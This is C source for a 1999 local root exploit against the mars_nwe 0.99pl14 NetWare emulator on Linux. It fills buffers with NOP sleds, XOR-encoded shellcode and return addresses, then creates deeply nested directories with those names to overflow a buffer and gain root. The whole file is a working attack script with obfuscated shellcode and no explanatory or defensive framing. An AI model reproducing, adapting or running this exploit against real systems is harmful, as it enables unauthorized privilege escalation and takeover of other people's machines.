/*
 * mars_nwe 0.99pl14 root exploit (linux)
 * (c) 1999 babcia padlina ltd. / buffer0verfl0w security (b0f.morphed.net)
 *
 * 
*/

#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <strings.h>
#include <unistd.h>

#define BUFSIZE    254
#define NOP    0x90
#define RET    0xbffff3a0
#define ALIGN    1

int makedir(dir)
char *dir;
{

  if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
    return -1;

  if (chdir(dir))
    return -1;

  return 0;
}
  

int main(void)
{
  int i = 0, noplen = 0;
  char pid[10], buf[BUFSIZE], *ptr = NULL;

  char szelkod[] =

    "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d"
    "\x31\xc9\xb1\x88\x80\x36\x01\x46\xe2\xfa\xea\x19\x2e"
    "\x63\x68\x6f\x2e\x62\x69\x6c\x6e\x65\x01\x35\x36\x34"
    "\x34\x01\x2e\x63\x68\x6f\x2e\x72\x69\x01\x88\xf7\x54"
    "\x88\xe4\x82\xed\x19\x56\x57\x52\xe9\x01\x01\x01\x01"
    "\x5a\x80\xc2\xcf\x11\x01\x01\x8c\xba\x0b\xee\xfe\xfe"
    "\x88\x7c\xf1\x8c\x82\x14\xee\xfe\xfe\x88\x44\xf5\x8c"
    "\x92\x1b\xee\xfe\xfe\x88\x54\xf9\xc6\x44\xfd\x01\x01"
    "\x01\x01\xb9\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88"
    "\xf2\xcc\x81\x8c\x44\xf1\x88\xc0\xb9\x0a\x01\x01\x01"
    "\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x8c\x64\xdd\x5a"
    "\x5f\x5e\xc8\xc2\x91\x91\x91\x91\x91\x91\x91\x91\x91"
    "\x91\x91\x91\x00";

  sprintf(pid, "%d", getpid());

  if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
  {
    perror("mkdir()");
    return -1;
  }

  if (chdir(pid))
  {
    perror("chdir()");
    return -1;
  }

  ptr = buf;
  noplen = BUFSIZE - strlen(szelkod);

  for (i=0;i<noplen;i++)
    *ptr++ = NOP;

  *ptr += noplen;

  for (i=0;i<strlen(szelkod);i++)
    *ptr++ = szelkod[i];

  *ptr = '\0';

  if(makedir(buf) < 0)
  {
    perror("makedir()");
    return -1;
  }

  bzero(buf, BUFSIZE);
  memset(buf, NOP, 40 + ALIGN);

  if(makedir(buf) < 0)
  {
    perror("makedir()");
    return -1;
  }

  bzero(buf, BUFSIZE);

  for(i=0;i<96;i+=4)
    *(long *)&buf[i] = RET;

  for(i=0;i<2;i++)
  {

    if(makedir(buf) < 0)
    {
      perror("makedir()");
      return -1;
    }
  }

  return 0;
}